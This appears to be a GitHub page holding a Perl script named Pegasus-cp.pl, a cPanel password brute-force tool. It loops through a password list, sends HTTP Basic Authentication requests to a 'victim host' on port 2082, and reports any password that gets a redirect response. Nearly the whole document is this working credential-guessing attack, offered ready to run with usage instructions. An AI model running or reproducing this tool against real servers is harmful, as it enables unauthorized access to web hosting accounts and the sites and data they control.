-
Notifications
You must be signed in to change notification settings - Fork 1
/
Pegasus-cp.pl
71 lines (66 loc) · 4.68 KB
/
Pegasus-cp.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/perl
# Pegasus Cpanel Password Brute Forcer
# ----------------------------
# (c)oded By dr.Muhammad Sobri Maulana,CEH,OSCP
# Perl Version ( low speed )
# Orginal Advisory :
# http://dohamupretoragean.ga
use IO::Socket;
use LWP::Simple;
use MIME::Base64;
$host = $ARGV[0];
$user = $ARGV[1];
$port = $ARGV[2];
$list = $ARGV[3];
$file = $ARGV[4];
$url = "http://".$host.":".$port;
if(@ARGV < 3){
print q(
###############################################################
# Pegasus Cpanel Password Brute Force Tool #
###############################################################
# usage : pegasus-cp.pl [HOST] [User] [PORT] [list] [File]#
#-------------------------------------------------------------#
# [Host] : Victim Host (dohamupretoragean.ga) #
# [User] : User Name (demo) #
# [PORT] : Port of Cpanel (2082) #
# [list] : File Of password list (list.txt) #
# [File] : file for save password (password.txt) #
# #
###############################################################
# (c)oded By Muhammad Sobri Maulana #
###############################################################
);exit;}
headx();
$numstart = "-1";
sub headx() {
print q(
###############################################################
# Pegasus Cpanel Password Brute Force Tool #
# (c)oded By Muhammad Sobri Maulana #
###############################################################
);
open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
@PASSWORDS = <PASSFILE>;
close PASSFILE;
foreach my $P (@PASSWORDS) {
chomp $P;
$passwd = $P;
print "\n [~] Try Password : $passwd \n";
&brut;
};
}
sub brut() {
$authx = encode_base64($user.":".$passwd);
print $authx;
my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "\n [-] Can not connect to the host";
print $sock "GET / HTTP/1.1\n";
print $sock "Authorization: Basic $authx\n";
print $sock "Connection: Close\n\n";
read $sock, $answer, 128;
close($sock);
if ($answer =~ /Moved/) {
print "\n [~] PASSWORD FOUND : $passwd \n";
exit();
}
}